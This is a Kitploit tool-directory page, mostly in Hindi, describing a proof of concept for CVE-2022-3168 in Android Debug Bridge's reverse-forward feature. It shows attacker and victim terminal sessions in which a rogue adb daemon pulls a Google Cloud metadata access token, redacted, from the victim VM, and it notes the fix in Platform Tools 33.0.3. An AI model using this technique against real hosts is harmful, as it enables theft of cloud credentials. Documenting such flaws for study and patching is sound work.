Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-3168-adb-unexpected-reverse-forwards — adb में दोष का शोषण करने के लिए प्रूफ ऑफ कॉन्सेप्ट कोड जो होस्ट पर मनमानी गंतव्यों के लिए नेटवर्क कनेक्शन खोलने की अनुमति देता था | Kitploit
उपकरण/GitHubGitHub/irsl/cve-2022-3168-adb-unexpected-reverse-forwards
एंड्रॉइड सुरक्षाभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगमोबाइल सुरक्षारेड टीमिंग
GitHubirsl/cve-2022-3168-adb-unexpected-reverse-forwards

CVE-2022-3168-adb-unexpected-reverse-forwards

adb में दोष का शोषण करने के लिए प्रूफ ऑफ कॉन्सेप्ट कोड जो होस्ट पर मनमानी गंतव्यों के लिए नेटवर्क कनेक्शन खोलने की अनुमति देता था

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
31484 साल पहलेअभी तक समीक्षित नहीं

Android Debug Bridge (adb) में रिवर्स टनल सुविधा कमजोर थी क्योंकि यह दुर्भावनापूर्ण adb डेमॉन को होस्ट पर मनमाने होस्ट/पोर्ट और यूनिक्स डोमेन सॉकेट से कनेक्शन खोलने की अनुमति देती थी।

Attacker window (where the rogue daemon is running):

root@kitploit:~
$ ./adb_rogue_daemon.py

Victim window (a GCE VM in this example):

root@kitploit:~
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076

Attacker window:

root@kitploit:~
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')

इसे Platform Tools 33.0.3 में ठीक किया गया था।

टूल डाउनलोड करें